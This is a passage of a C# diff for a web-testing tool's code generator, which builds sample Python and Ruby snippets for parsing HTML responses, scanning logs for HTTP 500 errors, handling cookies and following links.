""; + HtmlGVHelperAttributeNameTB.Text = ""; + break; + case ("Template 2"): + HtmlGVTagTB.Text = "*"; + HtmlGVMainAttributeNameTB.Text = "value"; + HtmlGVHelperAttributeNameTB.Text = "id"; + HtmlGVHelperAttributeValueTB.Text = "c_token"; + break; + case ("Template 3"): + HtmlGVTagTB.Text = "input"; + HtmlGVMainAttributeNameTB.Text = "name"; + HtmlGVHelperAttributeNameTB.Text = "type"; + HtmlGVHelperAttributeValueTB.Text = "hidden"; + break; + case ("Template 4"): + HtmlGVTagTB.Text = "*"; + HtmlGVMainAttributeNameTB.Text = "onclick"; + HtmlGVHelperAttributeNameTB.Text = ""; + HtmlGVHelperAttributeValueTB.Text = ""; + break; + } + HtmlCreateCodeBtn.Enabled = true; + break; + case ("GE"): + switch (Option) + { + case ("Template 1"): + HtmlGETagTB.Text = "form"; + HtmlGEAttributeNameTB.Text = ""; + HtmlGEAttributeValueTB.Text = ""; + break; + case ("Template 2"): + HtmlGETagTB.Text = "script"; + HtmlGEAttributeNameTB.Text = "src"; + HtmlGEAttributeValueTB.Text = ""; + break; + case ("Template 3"): + HtmlGETagTB.Text = "*"; + HtmlGEAttributeNameTB.Text = "id"; + HtmlGEAttributeValueTB.Text = "c_token"; + break; + case ("Template 4"): + HtmlGETagTB.Text = "input"; + HtmlGEAttributeNameTB.Text = "type"; + HtmlGEAttributeValueTB.Text = "hidden"; + break; + case ("Template 5"): + HtmlGETagTB.Text = "*"; + HtmlGEAttributeNameTB.Text = "onclick"; + HtmlGEAttributeValueTB.Text = ""; + break; + } + HtmlCreateCodeBtn.Enabled = true; + break; + } + } + + private void HtmlCreateCodeBtn_Click(object sender, EventArgs e) + { + ShowHtmlError(""); + + StringBuilder Py = new StringBuilder(); + StringBuilder Rb = new StringBuilder(); + Py.AppendLine(); + Rb.AppendLine(); + Py.AppendLine("#'res' is a variable that is assumed to contain a Response object"); + Rb.AppendLine("#'res' is a variable that is assumed to contain a Response object"); + + string Property = ""; + string Type = ""; + + string Keyword = HtmlAnswerTB.Text.Replace("\"", "\\\""); + + string TagName = ""; + string MainAttributeName = ""; + string HelperAttributeName = ""; + string HelperAttributeValue = ""; + + foreach (DataGridViewRow Row in HtmlMainActionsGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + Property = Row.Cells[1].Value.ToString(); + break; + } + } + foreach (DataGridViewRow Row in HtmlOptionsGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + Type = Row.Cells[1].Value.ToString(); + break; + } + } + + switch (Property) + { + case ("Get Title of Html"): + Py.AppendLine("print 'The title of the page is - ' + res.Html.Title"); + Rb.AppendLine("puts 'The title of the page is - ' + res.html.title"); + break; + case ("Get Links from Html"): + Py.AppendLine("links = res.Html.Links"); + Py.AppendLine("#Links are returned as a .NET List type but you can iterate over it like Python list."); + Py.AppendLine("for link in links:"); + Py.Append(" "); Py.AppendLine("print link"); + + Rb.AppendLine("links = res.html.links"); + Rb.AppendLine("#Links are returned as a .NET List type but you can iterate over it like Ruby list."); + Rb.AppendLine("for link in links"); + Rb.Append(" "); Rb.AppendLine("puts link"); + Rb.AppendLine("end"); + break; + case ("Get Comments from Html"): + Py.AppendLine("comments = res.Html.Comments"); + Py.AppendLine("#Comments are returned as a .NET List type but you can iterate over it like Python list."); + Py.AppendLine("for comment in comments:"); + Py.Append(" "); Py.AppendLine("print comment"); + + Rb.AppendLine("comments = res.html.comments"); + Rb.AppendLine("#Comments are returned as a .NET List type but you can iterate over it like Ruby list."); + Rb.AppendLine("for comment in comments"); + Rb.Append(" "); Rb.AppendLine("puts comment"); + Rb.AppendLine("end"); + break; + case ("Get JavaScript from Html"): + if (Type.StartsWith("Get All")) + { + Py.AppendLine("#Get all JavaScript from script tags and event-handlers in the Html"); + Py.AppendLine("scripts = res.Html.GetJavaScript()"); + Py.AppendLine("#Scripts are returned as a .NET List type but you can iterate over it like Python list."); + Py.AppendLine("for script in scripts:"); + Py.Append(" "); Py.AppendLine("print script"); + + Rb.AppendLine("#Get all JavaScript from script tags and event-handlers in the Html"); + Rb.AppendLine("scripts = res.html.get_java_script"); + Rb.AppendLine("#Scripts are returned as a .NET List type but you can iterate over it like Ruby list."); + Rb.AppendLine("for script in scripts"); + Rb.Append(" "); Rb.AppendLine("puts script"); + Rb.AppendLine("end"); + } + else + { + if (Keyword.Length == 0) + { + ShowHtmlError("Keyword cannot be empty"); + return; + } + + Py.AppendLine(string.Format(@"#Get all JavaScript from script tags and event-handlers that contain the string ""{0}""", Keyword)); + Py.AppendLine(string.Format(@"scripts = res.Html.GetJavaScript(""{0}"")", Keyword)); + Py.AppendLine("#Scripts are returned as a .NET List type but you can iterate over it like Python list."); + Py.AppendLine("for script in scripts:"); + Py.Append(" "); Py.AppendLine("print script"); + + Rb.AppendLine(string.Format(@"#Get all JavaScript from script tags and event-handlers that contain the string ""{0}""", Keyword)); + Rb.AppendLine(string.Format(@"scripts = res.html.get_java_script(""{0}"")", Keyword)); + Rb.AppendLine("#Scripts are returned as a .NET List type but you can iterate over it like Ruby list."); + Rb.AppendLine("for script in scripts"); + Rb.Append(" "); Rb.AppendLine("puts script"); + Rb.AppendLine("end"); + } + break; + case ("Get VisualBasic from Html"): + if (Type.StartsWith("Get All")) + { + Py.AppendLine("#Get all VB Script from script tags in the Html"); + Py.AppendLine("scripts = res.Html.GetVisualBasic()"); + Py.AppendLine("#Scripts are returned as a .NET List type but you can iterate over it like Python list."); + Py.AppendLine("for script in scripts:"); + Py.Append(" "); Py.AppendLine("print script"); + + Rb.AppendLine("#Get all VB Script from script tags in the Html"); + Rb.AppendLine("scripts = res.html.get_visual_basic"); + Rb.AppendLine("#Scripts are returned as a .NET List type but you can iterate over it like Ruby list."); + Rb.AppendLine("for script in scripts"); + Rb.Append(" "); Rb.AppendLine("puts script"); + Rb.AppendLine("end"); + } + else + { + if (Keyword.Length == 0) + { + ShowHtmlError("Keyword cannot be empty"); + return; + } + + Py.AppendLine(string.Format(@"#Get all VB Script from script tags that contain the string ""{0}""", Keyword)); + Py.AppendLine(string.Format(@"scripts = res.Html.GetVisualBasic(""{0}"")", Keyword)); + Py.AppendLine("#Scripts are returned as a .NET List type but you can iterate over it like Python list."); + Py.AppendLine("for script in scripts:"); + Py.Append(" "); Py.AppendLine("print script"); + + Rb.AppendLine(string.Format(@"#Get all VB Script from script tags that contain the string ""{0}""", Keyword)); + Rb.AppendLine(string.Format(@"scripts = res.html.get_visual_basic(""{0}"")", Keyword)); + Rb.AppendLine("#Scripts are returned as a .NET List type but you can iterate over it like Ruby list."); + Rb.AppendLine("for script in scripts"); + Rb.Append(" "); Rb.AppendLine("puts script"); + Rb.AppendLine("end"); + } + break; + case ("Get CSS from Html"): + if (Type.StartsWith("Get All")) + { + Py.AppendLine("#Get all CSS from style tags and style attribute of elements in the Html"); + Py.AppendLine("all_css = res.Html.GetCss()"); + Py.AppendLine("#CSSs are returned as a .NET List type but you can iterate over it like Python list."); + Py.AppendLine("for css in all_css:"); + Py.Append(" "); Py.AppendLine("print css"); + + Rb.AppendLine("#Get all CSS from style tags and style attribute of elements in the Html"); + Rb.AppendLine("all_css = res.html.get_css"); + Rb.AppendLine("#CSSs are returned as a .NET List type but you can iterate over it like Ruby list."); + Rb.AppendLine("for css in all_css"); + Rb.Append(" "); Rb.AppendLine("puts css"); + Rb.AppendLine("end"); + } + else + { + if (Keyword.Length == 0) + { + ShowHtmlError("Keyword cannot be empty"); + return; + } + + Py.AppendLine(string.Format(@"#Get all CSS from style tags and style attribute that contain the string ""{0}""", Keyword)); + Py.AppendLine(string.Format(@"all_css = res.Html.GetCss(""{0}"")", Keyword)); + Py.AppendLine("#Scripts are returned as a .NET List type but you can iterate over it like Python list."); + Py.AppendLine("for css in all_css:"); + Py.Append(" "); Py.AppendLine("print css"); + + Rb.AppendLine(string.Format(@"#Get all CSS from style tags and style attribute that contain the string ""{0}""", Keyword)); + Rb.AppendLine(string.Format(@"all_css = res.html.get_css(""{0}"")", Keyword)); + Rb.AppendLine("#Scripts are returned as a .NET List type but you can iterate over it like Ruby list."); + Rb.AppendLine("for css in all_css"); + Rb.Append(" "); Rb.AppendLine("puts css"); + Rb.AppendLine("end"); + } + break; + case ("Get Values of Html attributes"): + TagName = HtmlGVTagTB.Text.Replace("\"", "\\\""); + MainAttributeName = HtmlGVMainAttributeNameTB.Text.Replace("\"", "\\\""); + HelperAttributeName = HtmlGVHelperAttributeNameTB.Text.Replace("\"", "\\\""); + HelperAttributeValue = HtmlGVHelperAttributeValueTB.Text.Replace("\"", "\\\""); + + if (TagName.Length == 0) + { + ShowHtmlError("Tagname cannot be empty"); + return; + } + if (MainAttributeName.Length == 0) + { + ShowHtmlError("Cannot get value of attribute without its name. Provide the attribute name."); + return; + } + + if (HelperAttributeName.Length == 0) + { + if (TagName.Equals("*")) + { + Py.AppendLine(string.Format(@"#Get the values of the '{0}"" attrubute from all tags", MainAttributeName)); + Rb.AppendLine(string.Format(@"#Get the values of the '{0}"" attrubute from all tags", MainAttributeName)); + } + else + { + Py.AppendLine(string.Format(@"#Get the values of the ""{0}"" attribute from '{1}' tags", MainAttributeName, TagName)); + Rb.AppendLine(string.Format(@"#Get the values of the ""{0}"" attribute from '{1}' tags", MainAttributeName, TagName)); + } + + Py.AppendLine(string.Format(@"values = res.Html.GetValues(""{0}"", ""{1}"")", TagName, MainAttributeName)); + Py.AppendLine("#Values are returned as a .NET List type but you can iterate over it like Python list."); + Py.AppendLine("for value in values:"); + Py.Append(" "); Py.AppendLine("print value"); + + + Rb.AppendLine(string.Format(@"values = res.html.get_values(""{0}"", ""{1}"")", TagName, MainAttributeName)); + Rb.AppendLine("#Values are returned as a .NET List type but you can iterate over it like Ruby list."); + Rb.AppendLine("for value in values"); + Rb.Append(" "); Rb.AppendLine("puts value"); + Rb.AppendLine("end"); + } + else + { + if (TagName.Equals("*")) + { + Py.AppendLine(string.Format(@"#Get the values of the ""{0}"" attrubute from all tags that have the ""{1}"" attribute with value ""{2}""", MainAttributeName, HelperAttributeName, HelperAttributeValue)); + Rb.AppendLine(string.Format(@"#Get the values of the ""{0}"" attrubute from all tags that have the ""{1}"" attribute with value ""{2}""", MainAttributeName, HelperAttributeName, HelperAttributeValue)); + } + else + { + Py.AppendLine(string.Format(@"#Get the values of the '{0}' attribute from all '{1}' tags that have the '{2}' attribute with value '{3}'", MainAttributeName, TagName, HelperAttributeName, HelperAttributeValue)); + Rb.AppendLine(string.Format(@"#Get the values of the '{0}' attribute from all '{1}' tags that have the '{2}' attribute with value '{3}'", MainAttributeName, TagName, HelperAttributeName, HelperAttributeValue)); + } + + Py.AppendLine(string.Format(@"values = res.Html.GetValues(""{0}"", ""{1}"", ""{2}"", ""{3}"")", TagName, HelperAttributeName, HelperAttributeValue, MainAttributeName)); + Py.AppendLine(string.Format(@"#The previous command does a case sensitive match for the attribute value ""{0}"". If you want to do a case-insenstive match then use:", HelperAttributeValue)); + Py.AppendLine(string.Format(@"#res.Html.GetValuesIgnoreValueCase(""{0}"", ""{1}"", ""{2}"", ""{3}"")", TagName, HelperAttributeName, HelperAttributeValue, MainAttributeName)); + Py.AppendLine("#Values are returned as a .NET List type but you can iterate over it like Python list."); + Py.AppendLine("for value in values:"); + Py.Append(" "); Py.AppendLine("print value"); + + + Rb.AppendLine(string.Format(@"values = res.html.get_values(""{0}"", ""{1}"", ""{2}"", ""{3}"")", TagName, HelperAttributeName, HelperAttributeValue, MainAttributeName)); + Py.AppendLine(string.Format(@"#The previous command does a case sensitive match for the attribute value ""{0}"". If you want to do a case-insenstive match then use:", HelperAttributeValue)); + Py.AppendLine(string.Format(@"#res.html.get_values_ignore_value_case(""{0}"", ""{1}"", ""{2}"", ""{3}"")", TagName, HelperAttributeName, HelperAttributeValue, MainAttributeName)); + Rb.AppendLine("#Values are returned as a .NET List type but you can iterate over it like Ruby list."); + Rb.AppendLine("for value in values"); + Rb.Append(" "); Rb.AppendLine("puts value"); + Rb.AppendLine("end"); + } + break; + case ("Get Elements from Html as strings"): + case ("Get Elements from Html as objects"): + TagName = HtmlGETagTB.Text.Replace("\"", "\\\"");; + HelperAttributeName = HtmlGEAttributeNameTB.Text.Replace("\"", "\\\""); + HelperAttributeValue = HtmlGEAttributeValueTB.Text.Replace("\"", "\\\""); + + string PyCommand = ""; + string RbCommand = ""; + + string PyElementAction = ""; + string RbElementAction = ""; + + if (TagName.Length == 0) + { + ShowHtmlError("Tagname cannot be empty"); + return; + } + + if (Property.Equals("Get Elements from Html as strings")) + { + PyCommand = "Get"; + RbCommand = "get"; + } + else + { + PyCommand = "GetNodes"; + RbCommand = "get_nodes"; + } + + StringBuilder PyEA = new StringBuilder(); + StringBuilder RbEA = new StringBuilder(); + + if (Property.Equals("Get Elements from Html as strings")) + { + PyEA.AppendLine("#Elements are returned as a .NET List type but you can iterate over it like Python list."); + PyEA.AppendLine("for element in elements:"); + PyEA.Append(" "); PyEA.AppendLine("print element"); + + RbEA.AppendLine("#Elements are returned as a .NET List type but you can iterate over it like Ruby list."); + RbEA.AppendLine("for element in elements"); + RbEA.Append(" "); RbEA.AppendLine("puts element"); + RbEA.AppendLine("end"); + } + else + { + PyEA.AppendLine("#The elements are returned as HtmlNodeCollection object"); + PyEA.AppendLine("#If there are no matches then None is returned, so first check if there are results"); + PyEA.AppendLine("if elements:"); + PyEA.Append(" "); PyEA.AppendLine("#We can look through the collection to access each individual element."); + PyEA.Append(" "); PyEA.AppendLine("for element in elements:"); + PyEA.Append(" "); PyEA.AppendLine("#Each individual element is represented as HtmlNode object. We can get the required details from the object."); + PyEA.Append(" "); PyEA.AppendLine("print 'Element name: ' + element.Name"); + PyEA.Append(" "); PyEA.AppendLine("print 'Element id: ' + element.Id"); + PyEA.Append(" "); PyEA.AppendLine("print 'Element attributes:'"); + PyEA.Append(" "); PyEA.AppendLine("for attr in element.Attributes:"); + PyEA.Append(" "); PyEA.AppendLine("print attr.Name + '=' + attr.Value"); + PyEA.Append(" "); PyEA.AppendLine("print 'Element innertext: ' + element.InnerText"); + PyEA.Append(" "); PyEA.AppendLine("print 'Element innerhtml: ' + element.InnerHtml"); + PyEA.Append(" "); PyEA.AppendLine("print 'Element outerhtml: ' + element.OuterHtml"); + PyEA.Append(" "); PyEA.AppendLine("if element.HasChildNodes:"); + PyEA.Append(" "); PyEA.AppendLine("print 'this element has child nodes.'"); + PyEA.Append(" "); PyEA.AppendLine("#Child nodes can be accessed by element.ChildNodes property. This property returns a HtmlNodeCollection object."); + PyEA.Append(" "); PyEA.AppendLine("else:"); + PyEA.Append(" "); PyEA.AppendLine("print 'this element does not have child nodes'"); + + + RbEA.AppendLine("#The elements are returned as HtmlNodeCollection object"); + RbEA.AppendLine("#If there are no matches then nil is returned, so first check if there are results"); + RbEA.AppendLine("if elements"); + RbEA.Append(" "); RbEA.AppendLine("#We can look through the collection to access each individual element."); + RbEA.Append(" "); RbEA.AppendLine("for element in elements"); + RbEA.Append(" "); RbEA.AppendLine("#Each individual element is represented as HtmlNode object. We can get the required details from the object."); + RbEA.Append(" "); RbEA.AppendLine("puts 'Element name: ' + element.name"); + RbEA.Append(" "); RbEA.AppendLine("puts 'Element id: ' + element.id"); + RbEA.Append(" "); RbEA.AppendLine("puts 'Element attributes:'"); + RbEA.Append(" "); RbEA.AppendLine("for attr in element.attributes"); + RbEA.Append(" "); RbEA.AppendLine("print attr.name + '=' + attr.value"); + RbEA.Append(" "); RbEA.AppendLine("end"); + RbEA.Append(" "); RbEA.AppendLine("puts 'Element innertext: ' + element.inner_text"); + RbEA.Append(" "); RbEA.AppendLine("puts 'Element innerhtml: ' + element.inner_html"); + RbEA.Append(" "); RbEA.AppendLine("puts 'Element outerhtml: ' + element.outer_html"); + RbEA.Append(" "); RbEA.AppendLine("if element.has_child_nodes"); + RbEA.Append(" "); RbEA.AppendLine("puts 'this element has child nodes.'"); + RbEA.Append(" "); RbEA.AppendLine("#Child nodes can be accessed by element.ChildNodes property. This property returns a HtmlNodeCollection object."); + RbEA.Append(" "); RbEA.AppendLine("else"); + RbEA.Append(" "); RbEA.AppendLine("puts 'this element does not have child nodes'"); + RbEA.Append(" "); RbEA.AppendLine("end"); + RbEA.Append(" "); RbEA.AppendLine("end"); + RbEA.AppendLine("end"); + } + + PyElementAction = PyEA.ToString(); + RbElementAction = RbEA.ToString(); + + if (HelperAttributeName.Length == 0) + { + if (TagName.Equals("*")) + { + Py.AppendLine(@"#Get all the elements in the Html"); + Rb.AppendLine(@"#Get all the elements in the Html"); + } + else + { + Py.AppendLine(string.Format(@"#Get all ""{0}"" elements from the Html", TagName)); + Rb.AppendLine(string.Format(@"#Get all ""{0}"" elements from the Html", TagName)); + } + + Py.AppendLine(string.Format(@"elements = res.Html.{0}(""{1}"")", PyCommand, TagName)); + Py.AppendLine(PyElementAction); + + + Rb.AppendLine(string.Format(@"elements = res.html.{0}(""{1}"")", RbCommand, TagName)); + Rb.AppendLine(RbElementAction); + } + else + { + if (HelperAttributeValue.Length == 0) + { + if (TagName.Equals("*")) + { + Py.AppendLine(string.Format(@"#Get all elements that have the ""{0}"" attribute", HelperAttributeName)); + Rb.AppendLine(string.Format(@"#Get all elements that have the ""{0}"" attribute", HelperAttributeName)); + + } + else + { + Py.AppendLine(string.Format(@"#Get all ""{0}"" elements that have the ""{1}"" attribute", TagName, HelperAttributeName)); + Rb.AppendLine(string.Format(@"#Get all ""{0}"" elements that have the ""{1}"" attribute", TagName, HelperAttributeName)); + } + + Py.AppendLine(string.Format(@"elements = res.Html.{0}(""{1}"", ""{2}"")", PyCommand, TagName, HelperAttributeName)); + Py.AppendLine(PyElementAction); + + Rb.AppendLine(string.Format(@"elements = res.html.{0}(""{1}"", ""{2}"")", RbCommand, TagName, HelperAttributeName)); + Rb.AppendLine(RbElementAction); + } + else + { + if (TagName.Equals("*")) + { + Py.AppendLine(string.Format(@"#Get all elements that have the ""{0}"" attribute with value ""{1}""", HelperAttributeName, HelperAttributeValue)); + Rb.AppendLine(string.Format(@"#Get all elements that have the ""{0}"" attribute with value ""{1}""", HelperAttributeName, HelperAttributeValue)); + } + else + { + Py.AppendLine(string.Format(@"#Get all ""{0}"" elements that have the ""{1}"" attribute with value ""{2}""", TagName, HelperAttributeName, HelperAttributeValue)); + Rb.AppendLine(string.Format(@"#Get all ""{0}"" elements that have the ""{1}"" attribute with value ""{2}""", TagName, HelperAttributeName, HelperAttributeValue)); + } + + Py.AppendLine(string.Format(@"elements = res.Html.{0}(""{1}"", ""{2}"", ""{3}"")", PyCommand, TagName, HelperAttributeName, HelperAttributeValue)); + Py.AppendLine(PyElementAction); + + Rb.AppendLine(string.Format(@"elements = res.html.{0}(""{1}"", ""{2}"", ""{3}"")", RbCommand, TagName, HelperAttributeName, HelperAttributeValue)); + Rb.AppendLine(RbElementAction); + } + } + break; + case ("Find the context a keyword"): + if (Keyword.Length == 0) + { + ShowHtmlError("Keyword cannot be empty"); + return; + } + + Py.AppendLine(string.Format(@"contexts = res.Html.GetContext(""{0}"")", Keyword)); + Py.AppendLine("#Contexts are returned as a .NET List type but you can iterate over it like Python list."); + Py.AppendLine(string.Format(@"print ""The string \""{0}\"" appears in the following sections of the HTML:"" ", Keyword)); + Py.AppendLine("for context in contexts:"); + Py.Append(" "); Py.AppendLine("print context"); + + + Rb.AppendLine(string.Format(@"contexts = res.html.get_context(""{0}"")", Keyword)); + Rb.AppendLine("#Contexts are returned as a .NET List type but you can iterate over it like Ruby list."); + Rb.AppendLine(string.Format(@"puts ""The string \""{0}\"" appears in the following sections of the HTML:"" ", Keyword)); + Rb.AppendLine("for context in contexts"); + Rb.Append(" "); Rb.AppendLine("puts context"); + Rb.AppendLine("end"); + break; + case ("Get Forms from Html"): + Py.AppendLine("forms = res.Html.GetForms()"); + Py.AppendLine("#The elements are returned as list of HtmlNode objects"); + Py.AppendLine("#We can look through the collection to access each individual element."); + Py.AppendLine("for element in forms:"); + Py.Append(" "); Py.AppendLine("#Each individual element is represented as HtmlNode object. We can get the required details from the object."); + Py.Append(" "); Py.AppendLine("print 'Element name: ' + element.Name"); + Py.Append(" "); Py.AppendLine("print 'Element id: ' + element.Id"); + Py.Append(" "); Py.AppendLine("print 'Element attributes:'"); + Py.Append(" "); Py.AppendLine("for attr in element.Attributes:"); + Py.Append(" "); Py.AppendLine("print attr.Name + '=' + attr.Value"); + Py.Append(" "); Py.AppendLine("print 'Element innertext: ' + element.InnerText"); + Py.Append(" "); Py.AppendLine("print 'Element innerhtml: ' + element.InnerHtml"); + Py.Append(" "); Py.AppendLine("print 'Element outerhtml: ' + element.OuterHtml"); + Py.Append(" "); Py.AppendLine("if element.HasChildNodes:"); + Py.Append(" "); Py.AppendLine("print 'this element has child nodes.'"); + Py.Append(" "); Py.AppendLine("#Child nodes can be accessed by element.ChildNodes property. This property returns a HtmlNodeCollection object."); + Py.Append(" "); Py.AppendLine("else:"); + Py.Append(" "); Py.AppendLine("print 'this element does not have child nodes'"); + + Rb.AppendLine("forms = res.html.get_forms"); + Rb.AppendLine("#The elements are returned as list of HtmlNode objects"); + Rb.AppendLine("#We can look through the collection to access each individual element."); + Rb.AppendLine("for element in forms"); + Rb.Append(" "); Rb.AppendLine("#Each individual element is represented as HtmlNode object. We can get the required details from the object."); + Rb.Append(" "); Rb.AppendLine("puts 'Element name: ' + element.name"); + Rb.Append(" "); Rb.AppendLine("puts 'Element id: ' + element.id"); + Rb.Append(" "); Rb.AppendLine("puts 'Element attributes:'"); + Rb.Append(" "); Rb.AppendLine("for attr in element.attributes"); + Rb.Append(" "); Rb.AppendLine("print attr.name + '=' + attr.value"); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.Append(" "); Rb.AppendLine("puts 'Element innertext: ' + element.inner_text"); + Rb.Append(" "); Rb.AppendLine("puts 'Element innerhtml: ' + element.inner_html"); + Rb.Append(" "); Rb.AppendLine("puts 'Element outerhtml: ' + element.outer_html"); + Rb.Append(" "); Rb.AppendLine("if element.has_child_nodes"); + Rb.Append(" "); Rb.AppendLine("puts 'this element has child nodes.'"); + Rb.Append(" "); Rb.AppendLine("#Child nodes can be accessed by element.ChildNodes property. This property returns a HtmlNodeCollection object."); + Rb.Append(" "); Rb.AppendLine("else"); + Rb.Append(" "); Rb.AppendLine("puts 'this element does not have child nodes'"); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.AppendLine("end"); + break; + } + ShowCode(Py.ToString(), Rb.ToString()); + } + + private void LogCreateCodeBtn_Click(object sender, EventArgs e) + { + ShowLogError(""); + + string LogSource = ""; + + foreach (DataGridViewRow Row in LogSourceGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + LogSource = Row.Cells[1].Value.ToString(); + break; + } + } + if (LogSource.Length == 0) + { + ShowLogError("Log Source has not been selected."); + return; + } + + StringBuilder Py = new StringBuilder(); + StringBuilder Rb = new StringBuilder(); + Py.AppendLine(); + Rb.AppendLine(); + Py.AppendLine("#We find out the number of logs in the selected log source and loop through it"); + Rb.AppendLine("#We find out the number of logs in the selected log source and loop through it"); + + switch (LogSource) + { + case ("Proxy"): + Py.AppendLine("for i in range(Config.LastProxyLogId):"); + Py.Append(" "); Py.AppendLine("sess = Session.FromProxyLog(i+1)"); + + Rb.AppendLine("for i in (1..Config.last_proxy_log_id)"); + Rb.Append(" "); Rb.AppendLine("sess = Session.from_proxy_log(i)"); + break; + case ("Probe"): + Py.AppendLine("for i in range(Config.LastProbeLogId):"); + Py.Append(" "); Py.AppendLine("sess = Session.FromProbeLog(i+1)"); + + Rb.AppendLine("for i in (1..Config.last_probe_log_id)"); + Rb.Append(" "); Rb.AppendLine("sess = Session.from_probe_log(i)"); + break; + case ("Shell"): + Py.AppendLine("for i in range(Config.LastShellLogId):"); + Py.Append(" "); Py.AppendLine("sess = Session.FromShellLog(i+1)"); + + Rb.AppendLine("for i in (1..Config.last_shell_log_id)"); + Rb.Append(" "); Rb.AppendLine("sess = Session.from_shell_log(i)"); + break; + case ("Scan"): + Py.AppendLine("for i in range(Config.LastScanLogId):"); + Py.Append(" "); Py.AppendLine("sess = Session.FromScanLog(i+1)"); + + Rb.AppendLine("for i in (1..Config.last_scan_log_id)"); + Rb.Append(" "); Rb.AppendLine("sess = Session.from_scan_log(i)"); + break; + case ("Test"): + Py.AppendLine("for i in range(Config.LastTestLogId):"); + Py.Append(" "); Py.AppendLine("sess = Session.FromTestLog(i+1)"); + + Rb.AppendLine("for i in (1..Config.last_test_log_id)"); + Rb.Append(" "); Rb.AppendLine("sess = Session.from_test_log(i)"); + break; + default: + Py.AppendLine(string.Format(@"for i in range(Config.GetLastLogId(""{0}"")):", LogSource)); + Py.Append(" "); Py.AppendLine(string.Format(@"sess = Session.FromLog(i+1, ""{0}"")", LogSource)); + + Rb.AppendLine(string.Format(@"for i in (1..Config.get_last_log_id(""{0}""))", LogSource)); + Rb.Append(" "); Rb.AppendLine(string.Format(@"sess = Session.from_log(i, ""{0}"")", LogSource)); + break; + } + + Py.Append(" "); Py.AppendLine("#Session object represents a request and its corresponding response."); + Py.Append(" "); Py.AppendLine("#Sometimes the log might not have a response for a request, for example when the server was not reachable."); + Py.Append(" "); Py.AppendLine("#So we check and ensure the response object of the sess object is not null"); + Py.Append(" "); Py.AppendLine("if sess.Response:"); + Py.Append(" "); Py.AppendLine("#If response code is 500 we print a message"); + Py.Append(" "); Py.AppendLine("if sess.Response.Code == 500:"); + Py.Append(" "); Py.AppendLine("print 'Response code 500 was found in log id - ' + str(sess.Request.LogId)"); + Py.Append(" "); Py.AppendLine("else:"); + Py.Append(" "); Py.AppendLine("print 'No error in log id - ' + str(sess.Request.LogId)"); + + Rb.Append(" "); Rb.AppendLine("#Session object represents a request and its corresponding response."); + Rb.Append(" "); Rb.AppendLine("#Sometimes the log might not have a response for a request, for example when the server was not reachable."); + Rb.Append(" "); Rb.AppendLine("#So we check and ensure the response object of the sess object is not null"); + Rb.Append(" "); Rb.AppendLine("if sess.response"); + Rb.Append(" "); Rb.AppendLine("#If response code is 500 we print a message"); + Rb.Append(" "); Rb.AppendLine("if sess.response.code == 500"); + Rb.Append(" "); Rb.AppendLine("puts 'Response code 500 was found in log id - ' + sess.request.log_id.to_s"); + Rb.Append(" "); Rb.AppendLine("else"); + Rb.Append(" "); Rb.AppendLine("puts 'No error in log id - ' + sess.request.log_id.to_s"); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.AppendLine("end"); + + ShowCode(Py.ToString(), Rb.ToString()); + } + + private void CrawlCreateCodeBtn_Click(object sender, EventArgs e) + { + + StringBuilder Py = new StringBuilder(); + StringBuilder Rb = new StringBuilder(); + Py.AppendLine(); + Rb.AppendLine(); + Py.AppendLine("#'req' is a variable that is assumed to contain a Request object and 'res' is a variable that contains the Response recieved after sending 'req' and contains SetCookie headers"); + Py.AppendLine("#'new_req' is a variable that is assumed to contain a Request object to which cookies must be set."); + Rb.AppendLine("#'req' is a variable that is assumed to contain a Request object and 'res' is a variable that contains the Response recieved after sending 'req' and contains SetCookie headers"); + Rb.AppendLine("#'new_req' is a variable that is assumed to contain a Request object to which cookies must be set."); + + if (CrawlCookiesRB.Checked) + { + Py.AppendLine("#For simple cases you can update the cookie of a request directly from the response"); + Py.AppendLine("new_req.SetCookie(res)"); + Rb.AppendLine("#For simple cases you can update the cookie of a request directly from the response"); + Rb.AppendLine("new_req.set_cookie(res)"); + + Py.AppendLine(); + Py.AppendLine(); + Rb.AppendLine(); + Rb.AppendLine(); + + Py.AppendLine("#If you want to be precise you can just update the request from one SetCookie header of the response"); + Py.AppendLine("new_req.SetCookie(res.SetCookies[0])"); + Rb.AppendLine("#If you want to be precise you can just update the request from one SetCookie header of the response"); + Rb.AppendLine("new_req.set_cookie(res.set_cookies[0])"); + + Py.AppendLine(); + Py.AppendLine(); + Rb.AppendLine(); + Rb.AppendLine(); + + Py.AppendLine("#When dealing with multiple requests, its best to use CookieStore class"); + Py.AppendLine("#Create a CookieStore"); + Py.AppendLine("cs = CookieStore()"); + Py.AppendLine("#Store cookies in the CookieStore using the Add method. The request and the corresponding response are used as arguments."); + Py.AppendLine("#The cookies from the SetCookie header of the response are stored in the CookieStore, the hostname and url path from the request are stored along with the cookies."); + Py.AppendLine("cs.Add(req, res)"); + Py.AppendLine("#When sending a new request, you can set or update its cookies from the cookie store. The cookie store will only update the request with cookies that match its hostname and url path, so it functions just like a browser's cookie store."); + Py.AppendLine("new_req.SetCookie(cs)"); + + Rb.AppendLine("#When dealing with multiple requests, its best to use CookieStore class"); + Rb.AppendLine("#Create a CookieStore"); + Rb.AppendLine("cs = CookieStore.new()"); + Rb.AppendLine("#Store cookies in the CookieStore using the Add method. The request and the corresponding response are used as arguments."); + Rb.AppendLine("#The cookies from the SetCookie header of the response are stored in the CookieStore, the hostname and url path from the request are stored along with the cookies."); + Rb.AppendLine("cs.add(req, res)"); + Rb.AppendLine("#When sending a new request, you can set or update its cookies from the cookie store. The cookie store will only update the request with cookies that match its hostname and url path, so it functions just like a browser's cookie store."); + Rb.AppendLine("new_req.set_cookie(cs)"); + } + else if (CrawlLinksRB.Checked) + { + Py.AppendLine("#'cs' is the variable that is assumed to contain a CookieStore object that is handling cookies for these requests."); + Py.AppendLine("link_requests = Crawler.GetLinkClicks(req, res, cs)"); + Py.AppendLine("#'link_requests' contains a list of Request objects. Each request object in the list is the equivalent of the request created by the browser when someone clicks on one of the links in the HTML"); + Py.AppendLine("#You can loop through this list and send each request. You can also update the parameters of the request before sending it."); + Py.AppendLine("for link_req in link_requests:"); + Py.Append(" "); Py.AppendLine("print 'Sending request to - ' + link_req.FullUrl"); + Py.Append(" "); Py.AppendLine("link_res = link_req.Send()"); + + 